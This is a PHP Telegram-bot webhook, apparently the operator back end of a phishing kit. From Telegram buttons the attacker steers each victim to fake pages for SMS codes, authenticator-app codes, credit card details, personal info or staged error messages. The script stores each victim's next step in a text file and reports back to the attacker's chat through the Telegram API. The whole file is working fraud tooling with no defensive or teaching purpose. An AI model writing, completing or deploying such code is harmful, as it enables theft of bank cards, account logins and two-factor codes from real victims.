<?php
session_start();
include_once('sendParams.php');

function enregistrer_id_utilisateur($id_utilisateur, $valeur) {
    $fichier = 'fichier_utilisateurs.txt';
    $nouvelle_ligne = $id_utilisateur . ':' . $valeur . "\n";
    $contenu = file_get_contents($fichier);
    $pattern = '/^' . preg_quote($id_utilisateur, '/') . ':(.*)$/m';
    if (preg_match($pattern, $contenu, $matches)) {
        $ancienne_ligne = $matches[0];
        $contenu = str_replace($ancienne_ligne, $nouvelle_ligne, $contenu);
    } else {
        $contenu .= $nouvelle_ligne;
    }
    file_put_contents($fichier, $contenu);
}

$url = 'https://api.telegram.org/bot'.$api_key.'/sendMessage?chat_id='.$chat_id.'&text=';

$update = json_decode(file_get_contents('php://input'), true);

if (isset($update["callback_query"])) {
    $replyMsgId = $update["callback_query"]["message"]["message_id"];
    $response = $update["callback_query"]["data"];

    $callback_parts = explode('|', $response);
    $action = $callback_parts[0];
    $user_id = $callback_parts[1];

    //file_put_contents('rrrrr.txt', $response);
    enregistrer_id_utilisateur($user_id, $action);
    
    switch ($action) {
        case 'errorLog':
            $msg = "Redirection sur la page Error Log 🔒";
            file_get_contents('https://api.telegram.org/bot'.$api_key.'/editMessageReplyMarkup?chat_id=' . $chat_id . '&message_id=' . $replyMsgId);
            file_get_contents($url . urlencode($msg) . '&parse_mode=MarkDown');
            break;
        case 'smsCode':
            $msg = "Redirection sur la page SMS CODE 🔒";
            file_get_contents('https://api.telegram.org/bot'.$api_key.'/editMessageReplyMarkup?chat_id=' . $chat_id . '&message_id=' . $replyMsgId);
            file_get_contents($url . urlencode($msg) . '&parse_mode=MarkDown');
            break;
        case 'authApp':
            $callback_data = json_encode([
                [
                    ['text' => '❌ ERROR LOG', 'callback_data' => 'errorLog|' . $user_id]
                ],
                [
                    ['text' => 'SMS CODE', 'callback_data' => 'smsCode|' . $user_id],
                    ['text' => 'AUTH APP', 'callback_data' => 'authApp|' . $user_id]
                ],
                [
                    ['text' => '❌ ERROR SMS', 'callback_data' => 'errorSms|' . $user_id]
                ],
                [
                    ['text' => 'Credit Card', 'callback_data' => 'cc|' . $user_id],
                ],
                [
                    ['text' => '❌ ERROR CC', 'callback_data' => 'errorCc|' . $user_id]
                ],
                [
                    ['text' => 'Infos', 'callback_data' => 'infos|' . $user_id],
                ],
                [
                    ['text' => '✔️Sucess', 'callback_data' => 'success|' . $user_id],
                ],
            ]);
            $reply_markup = urlencode('{"inline_keyboard": ' . $callback_data . '}');

            $msg = "Redirection sur la page Auth App 🔒";
            file_get_contents('https://api.telegram.org/bot'.$api_key.'/editMessageReplyMarkup?chat_id=' . $chat_id . '&message_id=' . $replyMsgId);
            file_get_contents($url . urlencode($msg) . '&parse_mode=MarkDown' . '&reply_markup=' . $reply_markup);
            break;
        case 'cc':
            $msg = "Redirection sur la page CC 🔒";
            file_get_contents('https://api.telegram.org/bot'.$api_key.'/editMessageReplyMarkup?chat_id=' . $chat_id . '&message_id=' . $replyMsgId);
            file_get_contents($url . urlencode($msg) . '&parse_mode=MarkDown');
            break;
        case 'errorSms':
            $msg = "Redirection sur la page Error SMS 🔒";
            file_get_contents('https://api.telegram.org/bot'.$api_key.'/editMessageReplyMarkup?chat_id=' . $chat_id . '&message_id=' . $replyMsgId);
            file_get_contents($url . urlencode($msg) . '&parse_mode=MarkDown');
            break;
        case 'errorCc':
            $msg = "Redirection sur la page Error CC 🔒";
            file_get_contents('https://api.telegram.org/bot'.$api_key.'/editMessageReplyMarkup?chat_id=' . $chat_id . '&message_id=' . $replyMsgId);
            file_get_contents($url . urlencode($msg) . '&parse_mode=MarkDown');
            break;
         case 'infos':
            $msg = "Redirection sur la page Infos 🔒";
            file_get_contents('https://api.telegram.org/bot'.$api_key.'/editMessageReplyMarkup?chat_id=' . $chat_id . '&message_id=' . $replyMsgId);
            file_get_contents($url . urlencode($msg) . '&parse_mode=MarkDown');
            break;
        case 'success':
            $msg = "Redirection sur la page Success";
            file_get_contents('https://api.telegram.org/bot'.$api_key.'/editMessageReplyMarkup?chat_id=' . $chat_id . '&message_id=' . $replyMsgId);
            file_get_contents($url . urlencode($msg) . '&parse_mode=MarkDown');
            break;
        default:
            file_get_contents('https://api.telegram.org/bot'.$api_key.'/editMessageReplyMarkup?chat_id=' . $chat_id . '&message_id=' . $replyMsgId);
            file_get_contents($url . urlencode($msg) . '&parse_mode=MarkDown');
            break;
    }

    
}
?>